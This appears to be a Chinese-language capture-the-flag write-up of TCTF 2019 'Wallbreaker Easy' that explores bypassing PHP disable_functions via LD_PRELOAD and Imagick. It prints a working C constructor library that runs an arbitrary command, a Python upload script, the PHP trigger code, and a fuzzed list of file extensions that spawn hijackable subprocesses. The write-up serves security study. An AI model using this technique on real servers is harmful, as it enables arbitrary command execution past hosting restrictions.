0x01 Abstract

本文简单描写了tctf的web第二题”Wallbreaker Easy”的解题方法,以此题为出发点,探索一些通过Imagick来bypass disable_functions的方法。通过自动化测试来寻找启动子进程的后缀名处理和API函数,从而寻找可以劫持的程序(通过LD_PRELOAD)和发现可能会存在命令注入的函数(在启动的新进程中执行命令)。

此思路并非原创,只是在前人的基础上提出一点自己的思考和实现。

环境: Ubuntu 18.04 + PHP 7.2.15 + Imagick 3.4.3RC2

通过sudo apt install php php-fpm php-imagick安装。

0x02 TCTF 2019 Wallbreaker Easy WP

题目描述如图,并且提示ubuntu 18.04/sudo apt install php php-fpm php-imagick
-w630

主要使用了一个老手法的新利用,这位大佬找到一个扩展修饰符,可以在main函数前执行,这样就省去了使用LD_PRELOAD需要寻找可用函数的问题。详情见此篇文章。
巧用LD_PRELOAD突破disable_functions

如果不了解LD_PRELOAD。见此篇文章。
利用环境变量LD_PRELOAD来绕过php disable_function执行系统命令 – YiYang

既然前提有了,只需要找到可以利用函数就可以了。大佬通过查找ImageMagic的文档发现,在处理ilbm的文件的时候会启动ilbmtoppm程序,而这个程序是ubuntu 18.04自带的。

在ubuntu 18.04的环境下使用gcc -shared -fPIC execue_command.c -o execue_command.so 编译下列代码成so。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
// get command line options and arg
const char* cmdline = getenv("CMD");

// unset environment variable LD_PRELOAD.
// unsetenv("LD_PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}

// executive command
system(cmdline);
}

上述代码执行环境变量CMD的值,并且将LD_PRELOAD环境变量置空。

使用python上传so到tmp目录下。

1
2
3
4
5
import requests
url = "http://10.211.55.8/index.php"
data = {'backdoor':'''move_uploaded_file($_FILES["file"]["tmp_name"],'/tmp/8838732cf363d8017d7ce834c7678f37/test.so');'''}
files = {'file': open("execue_command.so", 'rb')}
response = requests.post(url, data=data, files=files)

url编码后执行如下代码,设置环境变量,调用Imageck,触发恶意so,从而执行命令,将命令执行的结果写入flag文件。

1
2
3
4
5
6
7
8
9
$cmd = "/readflag";
$out_path = "/tmp/8838732cf363d8017d7ce834c7678f37/flag";
$so_path = "/tmp/8838732cf363d8017d7ce834c7678f37/test.so";
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
putenv("CMD=" . $evil_cmdline);
putenv("LD_PRELOAD=" . $so_path);

file_put_contents("/tmp/8838732cf363d8017d7ce834c7678f37/exp.ilbm", "");
$im = new Imagick("/tmp/8838732cf363d8017d7ce834c7678f37/exp.ilbm");

最后读flag文件。

0x03 通过Fuzz查找其他可用的文件格式

可以看出,ilbm之所以可用是因为启动了相应的子进程,难道只有ilbm是可以用的吗?
其实并不是的,我用了一个很粗暴的方法,将phpinfo()中的格式复制下来,动态生成相应格式的空白样本文件,并且生成通过Imagick加载样本文件的PHP文件,执行strace命令,并进行筛选。

通过下列命令查看执行此php文件时进程的启动情况。

1
strace -f php xxx.php 2>&1 |grep -A2 -B2 execve

有的后缀名在处理的时候虽然会调用外部程序,但是本机并没有这些程序。
-w1873

这种情况是不可用的,需要筛选掉。

有的后缀名通过sh命令调用相应的程序,虽然调用的程序不存在,但是不会提示文件不存在。

此种情况需要判断该程序是否默认存在。
更正一个错误,此处可以利用。

经过Fuzz,部分结果如图。

1
.ai .avi .epdf .eps .epsf .epsi .m2v .m4v .mkv .mov .mp4 .mpeg .mpg .pdfa .svg .wmv

可以测试一下这些格式是不是真的可用。
以.epsi为例。

发送前记得编码。

结果如图

从ImageMagick的代理信息中也可以找到很多可用的后缀名,只要被代理的后缀名启动了外部程序,不管事什么程序,都可以通过LD_PRELOAD进行劫持。

这种做法理论上不仅限于Imagick,可以使用在其他使用了ImageMagick接口的PHP扩展。

0x04 遇见phpt的一些思路

LD_PRELOAD的做法其实是具有一些限制的,考虑一种情况,有远程代码执行,没有读写权限,文件上传到OSS中。这种情况下无法将本机的环境变量设置为远程地址。所以如果能找到一个函数,启动了子进程,并且有部分或者全部参数可控,这样就可以通过子进程来执行命令。就像imap_open这样。

如果Imagick存在一个函数,跟这种情况类似,那么就可以用来绕过disable_functions的限制。如何找到这种函数呢?通过读源码来发现此类函数比较费时费力,能否通过自动化来发现呢?

关于PHPT

Java中单元测试非常常见,但是在PHP中并不是那么普及,PHPT文件就是PHP提供的单元测试功能。还有一些单元测试的库,比如PHPUnit。

关于PHPT请见以下两篇文章,内容上有一些重叠。
浅析 PHP 官方自动化测试方法
附录E phpt测试文件说明

在github上可以看到Imagick的源码,可以看到tests文件夹中的PHPT文件对于Imagick的函数进行单元测试。

在PHP中调用外部的程序,再用PHPT进行单元测试,向下图这样。

设置相应的环境变量,然后运行单元测试(run-tests.php来自于PHP源码)。

通过strace查看进行PHP单元测试时的调用情况。

通过sh -c 执行了相应的命令。

自动化

这一步就比较简单了,跟原来的思路差不多,筛选掉一些干扰的情况就好了,代码不难实现,这里就不赘述了。
很遗憾的是,使用此方法,只筛选出了两个结果,其中一个还是测试结果。inscape在这里不可用,一是因为inscape不是自带的程序,二是因为传入的参数并不可控。

出现此种情况,我猜测一是因为Imagick本身的实现没有过多的依赖外部的程序,二是样本库(单元测试)并无法测试到全部情况,如同一函数的不同参数,不同函数调用的组合等,代码覆盖率不够高。

0x05 Conclusion

TCTF赛题的质量还是非常之高的,其中又很多值得学习并探讨的知识。虽然通过PHPT没有发现可以使用的函数,但是这个思路个人感觉还可以在其他地方使用,比如PHP源码中是自带对于源码的单元测试的,批量对PHP的源码的单元测试进行分析,发现可以利用的函数,当遇到其他的PHP扩展的时候理论上也可以使用此思路来发现可被利用的函数。

⬆︎TOP